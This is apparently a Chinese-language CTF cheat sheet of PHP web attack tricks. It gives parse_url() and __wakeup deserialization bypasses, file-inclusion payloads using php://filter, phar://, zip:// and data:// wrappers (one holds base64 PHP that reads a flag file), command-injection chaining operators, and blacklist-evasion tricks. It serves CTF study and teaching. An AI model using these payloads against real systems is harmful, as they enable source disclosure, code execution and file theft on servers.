1、parse_url()
parse_url()的小trick,通过:'///x.php?key=value'的方式可以使其返回'NULL',或者xxxx///serialized/index.php ?file=hint.php
,必须作用在域名根目录下。漏洞问题只存在于php5.4.7以后存在此漏洞。
2、wakeup()
php反序列化 ,通过增加对象属性个数,绕过wakeup方法(CVE-2016-7124)
3、base_convert()
base_convert()可以任意进制转换,参考,数字转换工具
php伪协议
1、?file=php://filter/read=convert.base64-encode/resource=index.php
2、?file=php://filter/convert.base64-encode/resource=index.php
3、?file=phar://test.zip/phpinfo.txt
或者?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
---->php 版本大于等于 php5.3.0
4、?file=zip://F:/web/phpStudy/WWW/serialized/okshell.zip%23okshell.png
-->需要绝对路径
5、?file=compress.bzip2://./file.jpg
---->可执行file.jpg里面代码。
6、?file=data:text/plain;base64,ZmxhZy5waHA=
--->allow_url_fopen :on-->读取flag?file=data:text/plain;base64,PD9waHAgcmVhZGZpbGUoIi4vZmxhZy5waHAiKTs/Pg==
命令执行
通配符&
、&&
、;
、||
、|
、
例如cmd1 = ls cmd2=ll
1、cmd1 && cmd2
先执行cmd1,若cmd1执行成功,输出cmd1的执行结果,在执行cmd2;若cmd1执行失败, 不会执行cmd2。
2、cmd1 & cmd2
先执行cmd1,不管cmd1是否成功,都会执行cmd2。
3、cmd1 ; cmd2
先执行cmd1,不管cmd1是否成功,都会执行cmd2。
4、cmd1 | cmd2
将cmd1的输出作为cmd2的输入,并且只输出cmd2的结果。不管cmd1是否成功执行,都会执行cmd2。
5、cmd1 || cmd2
先执行cmd1,若cmd1执行成功,输出cmd1的执行结果, 不会执行cmd2。否则执行cmd2。
绕过黑名单
1、ls ----> 执行ls命令:a=l;b=s;$a$b
2、空白 --->执行cat命令: cat flag
----> cat<>flag
网友评论